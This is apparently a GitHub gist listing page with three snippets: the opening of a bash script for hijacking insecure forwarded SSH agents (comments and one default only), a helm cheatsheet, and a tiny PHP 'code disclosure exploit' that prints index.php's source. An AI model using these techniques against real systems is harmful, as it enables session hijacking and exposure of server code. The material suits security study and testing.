Skip to content

Instantly share code, notes, and snippets.

View LucasVanHaaren's full-sized avatar

vhash LucasVanHaaren

View GitHub Profile
@LucasVanHaaren
LucasVanHaaren / ssh_fw_agent_hijack.sh
Last active October 1, 2024 22:18
SSH forwarded agent hijacking bash exploit
#!/bin/bash
#
# Simple portable bash script to exploit insecure forwarded SSH agent
# When agent_forwarding is enabled, this allows every local user which
# has access to the ssh agent's dir (commonly /tmp) to hijack other ssh sessions
#
# See more about this technique on https://book.hacktricks.xyz/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation
# Defaults values to watch (/tmp dir, every second, can be overrided by cmdline args)
AGENT_DIR="${1:-/tmp}"
@LucasVanHaaren
LucasVanHaaren / helm.md
Last active August 23, 2024 12:30
Kubernetes-related cli cheatsheets

helm

List charts of a custom repository / artifacthub

helm search repo $REPO_NAME
helm search hub $CHART_NAME

List installed releases on a cluster / specific namespace

@LucasVanHaaren
LucasVanHaaren / shell_lang.php
Last active June 27, 2023 07:43
Dummy PHP code disclosure exploit
<?php
$myfile = fopen("index.php", "r") or die("Unable to open file!");
echo fread($myfile,filesize("index.php"));
fclose($myfile);
?>